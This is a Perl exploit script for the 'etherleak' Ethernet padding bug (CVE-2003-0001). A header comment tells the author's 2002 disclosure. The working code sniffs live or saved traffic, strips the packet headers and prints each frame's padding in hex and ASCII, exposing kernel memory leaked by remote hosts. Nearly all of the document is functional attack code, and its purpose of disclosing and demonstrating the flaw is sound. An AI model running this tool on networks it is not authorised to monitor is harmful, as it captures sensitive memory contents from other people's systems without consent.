#!/usr/bin/perl -w # etherleak, code that has been 5 years coming. # # On 04/27/2002, I disclosed on the Linux Kernel Mailing list, # a vulnerability that would be come known as the 'etherleak' bug. In # various situations an ethernet frame must be padded to reach a specific # size or fall on a certain boundary. This task is left up to the driver # for the ethernet device. The RFCs state that this padding must consist # of NULLs. The bug is that at the time and still to this day, many device # drivers do not pad will NULLs, but rather pad with unsanitized portions # of kernel memory, oftentimes exposing sensitive information to remote # systems or those savvy enough to coerce their targets to do so. # # Proof of this can be found by googling for "remote memory reading using # arp", or by visiting: # # http://lkml.org/lkml/2002/4/27/101 # # This was ultimately fixed in the Linux kernel, but over time this # vulnerability reared its head numerous times, but at the core the # vulnerability was the same as the one I originally published. The most # public of these was CVE-2003-0001, which was assigned to address an # official @stake advisory. # # This code can be found its most current form at: # # http://spoofed.org/files/exploits/etherleak # # Jon Hart , March 2007 # use strict; use diagnostics; use warnings; use Getopt::Long; use Net::Pcap; use NetPacket::Ethernet qw(:ALL); use NetPacket::IP qw(:ALL); my %opts = (); my ($iface, $err, $pcap_t, $pcap_save, $filter_string); GetOptions( \%opts, 'help', 'filter=s', 'interface=s', 'quiet', 'read=s', 'write=s', 'verbose') or die "Unknown option: $!\n" && &usage(); $SIG{INT} = \&close; if (defined($opts{'help'})) { &usage(); exit(0); } if (defined($opts{'read'})) { $pcap_t = Net::Pcap::open_offline($opts{'read'}, \$err); if (!defined($pcap_t)) { print("Net::Pcap::open_offline failed: $err\n"); exit 1; } } else { if (defined($opts{'interface'})) { $iface = $opts{'interface'}; } else { $iface = Net::Pcap::lookupdev(\$err); if (defined($err)) { print(STDERR "lookupdev() failed: $err\n"); exit(1); } else { print(STDERR "No interface specified. Using $iface\n"); } } $pcap_t = Net::Pcap::open_live($iface, 65535, 1, 0, \$err); if (!defined($pcap_t)) { print("Net::Pcap::open_live failed on $iface: $err\n"); exit 1; } } my $filter; if (Net::Pcap::compile($pcap_t, \$filter, defined($opts{'filter'}) ? $opts{'filter'} : "", 0, 0) == -1) { printf("Net::Pcap::compile failed: %s\n", Net::Pcap::geterr($pcap_t)); exit(1); } if (Net::Pcap::setfilter($pcap_t, $filter) == -1) { printf("Net::Pcap::setfilter failed: %s\n", Net::Pcap::geterr($pcap_t)); exit(1); } if (defined($opts{'write'})) { $pcap_save = Net::Pcap::dump_open($pcap_t, $opts{'write'}); if (!defined($pcap_save)) { printf("Net::Pcap::dump_open failed: %s\n", Net::Pcap::geterr($pcap_t)); exit(1); } } Net::Pcap::loop($pcap_t, -1, \&process, "foo"); Net::Pcap::close($pcap_t); &close; sub close { if (defined($opts{'write'})) { Net::Pcap::dump_close($pcap_save); } exit(0); } sub process { my ($user, $hdr, $pkt) = @_; my ($link, $ip); my $jump = 0; my $datalink = Net::Pcap::datalink($pcap_t); if ($datalink == 1) { $jump += 14; } elsif ($datalink == 113) { $jump += 16; } else { printf("Skipping datalink $datalink\n"); return; } my $l2 = NetPacket::Ethernet->decode($pkt); if ($l2->{type} == ETH_TYPE_IP) { $ip = NetPacket::IP->decode(eth_strip($pkt)); $jump += $ip->{len}; } elsif ($l2->{type} == ETH_TYPE_IPv6) { $jump += unpack("nn", substr(eth_strip($pkt), 4, 2)); } elsif ($l2->{type} == ETH_TYPE_ARP) { $jump += 28; } else { # assume 802.3 ethernet, and just jump ahead the length for ($l2->{dest_mac}) { if (/^0180c200/) { # spanning tree # l2->{type} here will actually be the length. HACK. $jump += $l2->{type}; } elsif (/^01000ccccc/) { # CDP/VTP/DTP/PAgP/UDLD/PVST, etc # l2->{type} here will actually be the length. HACK. $jump += $l2->{type}; } elsif (/^ab0000020000/) { # DEC-MOP-Remote-Console return; } else { # loopback if ($l2->{src_mac} eq $l2->{dest_mac}) { return; } if (defined($opts{'write'})) { Net::Pcap::dump($pcap_save, $hdr, $pkt); } printf("Skipping datalink $datalink l2 type %s\n", $l2->{type}); return; } } } if ($hdr->{len} > $jump) { my $trailer_bin = substr($pkt, $jump); my $trailer_hex = ""; my $trailer_ascii = ""; foreach (split(//, $trailer_bin)) { $trailer_hex .= sprintf("%02x", ord($_)); if (ord($_) >= 32 && ord($_) <= 126) { $trailer_ascii .= $_; } else { $trailer_ascii .= "."; } } # ignore all trailers that are just single characters repeated. # most OS' use 0, F, 5 or a. unless ($trailer_hex =~ /^(0|5|f|a)\1*$/i) { unless ($opts{'quiet'}) { print("#"x80, "\n"); printf("%s -> %s\n", $l2->{src_mac}, $l2->{dest_mac}); if ($l2->{type} == ETH_TYPE_IP) { printf("%s -> %s\n", $ip->{src_ip}, $ip->{dest_ip}); } } print("$trailer_hex\t$trailer_ascii\n"); if (defined($opts{'write'})) { Net::Pcap::dump($pcap_save, $hdr, $pkt); } } } } sub usage { print < # interface to listen on [-f|--filter] # apply this filter to the traffic [-r|--read] # read from this saved pcap file [-w|--write] # write tothis saved pcap file [-q|--quiet] # be quiet [-v|--verbose] # be verbose EOF }